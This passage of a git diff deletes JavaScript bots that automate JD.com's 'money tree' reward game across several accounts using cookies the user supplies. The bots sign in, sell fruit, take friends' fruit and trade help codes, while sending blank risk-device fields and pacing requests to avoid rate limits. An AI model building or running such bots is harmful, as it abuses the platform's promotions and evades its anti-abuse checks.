sellRes['resultCode'] === 0) { - if (sellRes['resultData']['code'] === '200') { - if (sellRes['resultData']['data']['sell'] === 0) { - console.log(`卖出金果成功,获得0.07金贴\n`); - allMsg += `账号${$.index}:${$.nickName || $.UserName}\n今日成功卖出5.6万金果,获得0.07金贴${$.index !== cookiesArr.length ? '\n\n' : ''}` - } else { - console.log(`卖出金果失败:${JSON.stringify(sellRes)}\n`) - } - } - } - rs() - }) - } else { - console.log(`当前金果数量不够兑换 0.07金贴\n`); - rs() - } - // request('sell', params).then(response => { - // rs(response); - // }) - }) - // request('sell', params).then((sellRes) => { - // console.log(`卖出金果结果:${JSON.stringify(sellRes)}\n`) - // gen.next(); - // }) -} - -//获取金币和金果数量 -function myWealth() { - return new Promise((resolve) => { - const params = { - "source": 2, - "riskDeviceParam": { - "eid": "", - "dt": "", - "ma": "", - "im": "", - "os": "", - "osv": "", - "ip": "", - "apid": "", - "ia": "", - "uu": "", - "cv": "", - "nt": "", - "at": "1", - "fp": "", - "token": "" - } - } - params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) - request('myWealth', params).then(res => { - if (res && res.resultCode === 0 && res.resultData.code === '200') { - console.log(`金贴和金果数量::${JSON.stringify(res)}`); - message += `【我的金果数量】${res.resultData.data.gaAmount}\n`; - message += `【我的金贴数量】${res.resultData.data.gcAmount / 100}\n`; - } - resolve(); - }) - }); -} - -function sign() { - console.log('开始三餐签到') - const data = {"source": 2, "workType": 1, "opType": 2}; - return new Promise((rs, rj) => { - request('doWork', data).then(response => { - rs(response); - }) - }) -} - -function signIndex() { - const params = { - "source": 0, - "riskDeviceParam": { - "eid": "", - "dt": "", - "ma": "", - "im": "", - "os": "", - "osv": "", - "ip": "", - "apid": "", - "ia": "", - "uu": "", - "cv": "", - "nt": "", - "at": "1", - "fp": "", - "token": "" - } - } - return new Promise((rs, rj) => { - request('signIndex', params).then(response => { - rs(response); - }) - }) -} - -function signEveryDay() { - return new Promise(async (resolve) => { - try { - let signIndexRes = await signIndex(); - if (signIndexRes.resultCode === 0) { - console.log(`每日签到条件查询:${signIndexRes.resultData.data.canSign === 2 ? '可以签到' : '已经签到过了'}`); - if (signIndexRes.resultData && signIndexRes.resultData.data.canSign == 2) { - console.log('准备每日签到') - let signOneRes = await signOne(signIndexRes.resultData.data.signDay); - console.log(`第${signIndexRes.resultData.data.signDay}日签到结果:${JSON.stringify(signOneRes)}`); - if (signIndexRes.resultData.data.signDay === 7) { - let getSignAwardRes = await getSignAward(); - console.log(`店铺券(49-10)领取结果:${JSON.stringify(getSignAwardRes)}`) - if (getSignAwardRes.resultCode === 0 && getSignAwardRes.data.code === 0) { - message += `【7日签到奖励领取】${getSignAwardRes.datamessage}\n` - } - } - } - } - } catch (e) { - $.logErr(e); - } finally { - resolve() - } - }) -} - -function signOne(signDay) { - const params = { - "source": 0, - "signDay": signDay, - "riskDeviceParam": { - "eid": "", - "dt": "", - "ma": "", - "im": "", - "os": "", - "osv": "", - "ip": "", - "apid": "", - "ia": "", - "uu": "", - "cv": "", - "nt": "", - "at": "1", - "fp": "", - "token": "" - } - } - return new Promise((rs, rj) => { - request('signOne', params).then(response => { - rs(response); - }) - }) -} - -// 领取七日签到后的奖励(店铺优惠券) -function getSignAward() { - const params = { - "source": 2, - "awardType": 2, - "deviceRiskParam": 1, - "riskDeviceParam": { - "eid": "", - "dt": "", - "ma": "", - "im": "", - "os": "", - "osv": "", - "ip": "", - "apid": "", - "ia": "", - "uu": "", - "cv": "", - "nt": "", - "at": "1", - "fp": "", - "token": "" - } - } - return new Promise((rs, rj) => { - request('getSignAward', params).then(response => { - rs(response); - }) - }) -} - -// 浏览任务 -async function setUserLinkStatus(missionId) { - let index = 0; - do { - const params = { - "missionId": missionId, - "pushStatus": 1, - "keyValue": index, - "riskDeviceParam": { - "eid": "", - "dt": "", - "ma": "", - "im": "", - "os": "", - "osv": "", - "ip": "", - "apid": "", - "ia": "", - "uu": "", - "cv": "", - "nt": "", - "at": "1", - "fp": "", - "token": "" - } - } - let response = await request('setUserLinkStatus', params) - console.log(`missionId为${missionId}::第${index + 1}次浏览活动完成: ${JSON.stringify(response)}`); - // if (resultCode === 0) { - // let sportRevardResult = await getSportReward(); - // console.log(`领取遛狗奖励完成: ${JSON.stringify(sportRevardResult)}`); - // } - index++; - } while (index < 7) //不知道结束的条件,目前写死循环7次吧 - console.log('浏览店铺任务结束'); - console.log('开始领取浏览后的奖励'); - let receiveAwardRes = await receiveAward(missionId); - console.log(`领取浏览任务奖励成功:${JSON.stringify(receiveAwardRes)}`) - return new Promise((resolve, reject) => { - resolve(receiveAwardRes); - }) - // gen.next(); -} - -// 领取浏览后的奖励 -function receiveAward(mid) { - if (!mid) return - mid = mid + ""; - const params = { - "source": 0, - "workType": 7, - "opType": 2, - "mid": mid, - "riskDeviceParam": { - "eid": "", - "dt": "", - "ma": "", - "im": "", - "os": "", - "osv": "", - "ip": "", - "apid": "", - "ia": "", - "uu": "", - "cv": "", - "nt": "", - "at": "1", - "fp": "", - "token": "" - } - } - return new Promise((rs, rj) => { - request('doWork', params).then(response => { - rs(response); - }) - }) -} - -function share(data) { - if (data.opType === 1) { - console.log(`开始做分享任务\n`) - } else { - console.log(`开始做领取分享后的奖励\n`) - } - return new Promise((rs, rj) => { - request('doWork', data).then(response => { - rs(response); - }) - }) -} - -async function stealFriendFruit() { - await friendRank(); - if ($.friendRankList && $.friendRankList.length > 0) { - const canSteal = $.friendRankList.some((item) => { - const boxShareCode = item.steal - return (boxShareCode === true); - }); - if (canSteal) { - $.amount = 0; - for (let item of $.friendRankList) { - if (!item.self && item.steal) { - await friendTreeRoom(item.encryPin); - const stealFruitRes = await stealFruit(item.encryPin, $.friendTree.stoleInfo); - if (stealFruitRes && stealFruitRes.resultCode === 0 && stealFruitRes.resultData.code === '200') { - $.amount += stealFruitRes.resultData.data.amount; - } - } - } - message += `【偷取好友金果】共${$.amount}个\n`; - } else { - console.log(`今日已偷过好友的金果了,暂无好友可偷,请明天再来\n`) - } - } else { - console.log(`您暂无好友,故跳过`); - } -} - -//获取好友列表API -async function friendRank() { - await $.wait(1000); //歇口气儿, 不然会报操作频繁 - const params = { - "source": 2, - "riskDeviceParam": { - "eid": "", - "dt": "", - "ma": "", - "im": "", - "os": "", - "osv": "", - "ip": "", - "apid": "", - "ia": "", - "uu": "", - "cv": "", - "nt": "", - "at": "1", - "fp": "", - "token": "" - } - } - params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) - return new Promise((resolve, reject) => { - $.post(taskurl('friendRank', params), (err, resp, data) => { - try { - if (err) { - console.log("\n摇钱树京东API请求失败 ‼️‼️"); - console.log(JSON.stringify(err)); - $.logErr(err); - } else { - if (data) { - data = JSON.parse(data); - $.friendRankList = data.resultData.data; - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (eor) { - $.logErr(eor, err) - } finally { - resolve() - } - }) - }) -} - -// 进入好友房间API -async function friendTreeRoom(friendPin) { - await $.wait(1000); //歇口气儿, 不然会报操作频繁 - const params = { - "source": 2, - "friendPin": friendPin, - "riskDeviceParam": { - "eid": "", - "dt": "", - "ma": "", - "im": "", - "os": "", - "osv": "", - "ip": "", - "apid": "", - "ia": "", - "uu": "", - "cv": "", - "nt": "", - "at": "1", - "fp": "", - "token": "" - } - } - params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) - return new Promise((resolve, reject) => { - $.post(taskurl('friendTree', params), (err, resp, data) => { - try { - if (err) { - console.log("\n摇钱树京东API请求失败 ‼️‼️"); - console.log(JSON.stringify(err)); - $.logErr(err); - } else { - if (data) { - data = JSON.parse(data); - $.friendTree = data.resultData.data; - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (eor) { - $.logErr(eor, err) - } finally { - resolve() - } - }) - }) -} - -//偷好友金果API -async function stealFruit(friendPin, stoleId) { - await $.wait(1000); //歇口气儿, 不然会报操作频繁 - const params = { - "source": 2, - "friendPin": friendPin, - "stoleId": stoleId, - "riskDeviceParam": { - "eid": "", - "dt": "", - "ma": "", - "im": "", - "os": "", - "osv": "", - "ip": "", - "apid": "", - "ia": "", - "uu": "", - "cv": "", - "nt": "", - "at": "1", - "fp": "", - "token": "" - } - } - params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) - return new Promise((resolve, reject) => { - $.post(taskurl('stealFruit', params), (err, resp, data) => { - try { - if (err) { - console.log("\n摇钱树京东API请求失败 ‼️‼️"); - console.log(JSON.stringify(err)); - $.logErr(err); - } else { - if (data) { - data = JSON.parse(data); - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (eor) { - $.logErr(eor, err) - } finally { - resolve(data) - } - }) - }) -} - - -async function request(function_id, body = {}) { - await $.wait(1000); //歇口气儿, 不然会报操作频繁 - return new Promise((resolve, reject) => { - $.post(taskurl(function_id, body), (err, resp, data) => { - try { - if (err) { - console.log("\n摇钱树京东API请求失败 ‼️‼️"); - console.log(JSON.stringify(err)); - $.logErr(err); - } else { - if (data) { - data = JSON.parse(data); - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (eor) { - $.msg("摇钱树-初始化个人信息" + eor.name + "‼️", JSON.stringify(eor), eor.message) - } finally { - resolve(data) - } - }) - }) -} - -function taskurl(function_id, body) { - return { - url: JD_API_HOST + '/' + function_id + '?_=' + new Date().getTime() * 1000, - body: `reqData=${function_id === 'harvest' || function_id === 'login' || function_id === 'signIndex' || function_id === 'signOne' || function_id === 'setUserLinkStatus' || function_id === 'dayWork' || function_id === 'getSignAward' || function_id === 'sell' || function_id === 'friendRank' || function_id === 'friendTree' || function_id === 'stealFruit' ? encodeURIComponent(JSON.stringify(body)) : JSON.stringify(body)}`, - headers: { - 'Accept': `application/json`, - 'Origin': `https://uua.jr.jd.com`, - 'Accept-Encoding': `gzip, deflate, br`, - 'Cookie': cookie, - 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, - 'Host': `ms.jr.jd.com`, - 'Connection': `keep-alive`, - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Referer': `https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index`, - 'Accept-Language': `zh-cn` - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 1001) { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} - - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_moneyTree_heip.js b/jd_moneyTree_heip.js deleted file mode 100644 index 33fae2c47..000000000 --- a/jd_moneyTree_heip.js +++ /dev/null @@ -1,290 +0,0 @@ -/* - -0-59/30 * * * * jd_moneyTree_heip.js - -*/ -const $ = new Env('京东摇钱树助力'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', sharePin = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; -let userInfo = null, canRun = '', subTitle = ''; -!(async () => { - await requireConfig() - await $.wait(1000); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - } - console.log(`\n****开始获取摇钱树互助码****\n`); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - message = ''; - subTitle = ''; - await getsharePin(); - await $.wait(1000); - } - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.canRun = true; - $.nickName = ''; - await TotalBean(); - console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); - message = ''; - subTitle = ''; - await shareCodesFormat(); - await $.wait(1000); - await helpFriends(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function helpFriends() { - try { - for (let code of $.newShareCodes) { - console.log(`去助力${code}`) - await help(code) - await $.wait(1000) - if (!$.canRun) { - break; - } - } - } catch (e) { - $.logErr(e) - } -} - -function getsharePin() { - const params = { "sharePin": "", "shareType": 1, "channelLV": "", "source": 2, "riskDeviceParam": { "eid": "", "fp": "", "sdkToken": "", "token": "", "jstub": "", "appType": "2", } } - params.riskDeviceParam = JSON.stringify(params.riskDeviceParam); - return new Promise((resolve, reject) => { - $.post(taskurl('login', params), async (err, resp, data) => { - try { - if (err) { - console.log("\n摇钱树京东API请求失败 ‼️‼️") - console.log(JSON.stringify(err)); - } else { - if (data) { - const res = JSON.parse(data); - if (res && res.resultCode === 0) { - $.isLogin = true; - if (res.resultData.data) { - userInfo = res.resultData.data; - if (userInfo.realName) { - console.log(`【京东账号${$.index}(${$.UserName})的摇钱树好友互助码】${userInfo.sharePin}`); - } else { - $.log(`京东账号${$.index}${$.UserName}运行失败\n此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证`) - } - } - } else { - console.log(`其他情况::${JSON.stringify(res)}`); - } - } else { - console.log(`京东api返回数据为空,请检查自身原因`) - } - } - } catch (eor) { - $.logErr(eor, err) - } finally { - resolve(userInfo) - } - }) - }) -} - -function help(sharePin) { - const params = { "sharePin": sharePin, "shareType": 1, "channelLV": "", "source": 2, "riskDeviceParam": { "eid": "", "fp": "", "sdkToken": "", "token": "", "jstub": "", "appType": "2", } } - params.riskDeviceParam = JSON.stringify(params.riskDeviceParam); - return new Promise((resolve, reject) => { - $.post(taskurl('login', params), async (err, resp, data) => { - try { - if (err) { - console.log("\n摇钱树京东API请求失败 ‼️‼️") - console.log(JSON.stringify(err)); - } else { - if (data) { - const res = JSON.parse(data); - if (res && res.resultCode === 0) { - $.isLogin = true; - if (res.resultData.data) { - userInfo = res.resultData.data; - console.log(res.resultData.msg); - if (userInfo.realName) { - } else { - $.canRun = false; - $.log(`京东账号${$.index}${$.UserName}运行失败\n此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证`) - } - } - } else { - console.log(`其他情况::${JSON.stringify(res)}`); - } - } else { - console.log(`京东api返回数据为空,请检查自身原因`) - } - } - } catch (eor) { - $.logErr(eor, err) - } finally { - resolve(userInfo) - } - }) - }) -} - -function taskurl(function_id, body) { - return { - url: JD_API_HOST + '/' + function_id + '?_=' + new Date().getTime() * 1000, - body: `reqData=${function_id === 'login' || function_id === 'signIndex' ? encodeURIComponent(JSON.stringify(body)) : JSON.stringify(body)}`, - headers: { - 'Accept': `application/json`, - 'Origin': `https://uua.jr.jd.com`, - 'Accept-Encoding': `gzip, deflate, br`, - 'Cookie': cookie, - 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, - 'Host': `ms.jr.jd.com`, - 'Connection': `keep-alive`, - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Referer': `https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index`, - 'Accept-Language': `zh-cn` - } - } -} - -function requireConfig() { - return new Promise(resolve => { - console.log(`开始获取${$.name}配置文件\n`); - //Node.js用户请在jdCookie.js处填写京东ck; - let shareCodes = [] - console.log(`共${cookiesArr.length}个京东账号\n`); - $.shareCodesArr = []; - if ($.isNode()) { - //自定义助力码 - if (process.env.MONEYTREE_SHARECODES) { - if (process.env.MONEYTREE_SHARECODES.indexOf('\n') > -1) { - shareCodes = process.env.MONEYTREE_SHARECODES.split('\n'); - } else { - shareCodes = process.env.MONEYTREE_SHARECODES.split('&'); - } - } - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); - resolve() - }) -} - -function shareCodesFormat() { - return new Promise(async resolve => { - $.newShareCodes = []; - let inviteCodes = [ - '' - ]; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将为本脚本作者【zero205】助力\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex].split('@'); - } - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function 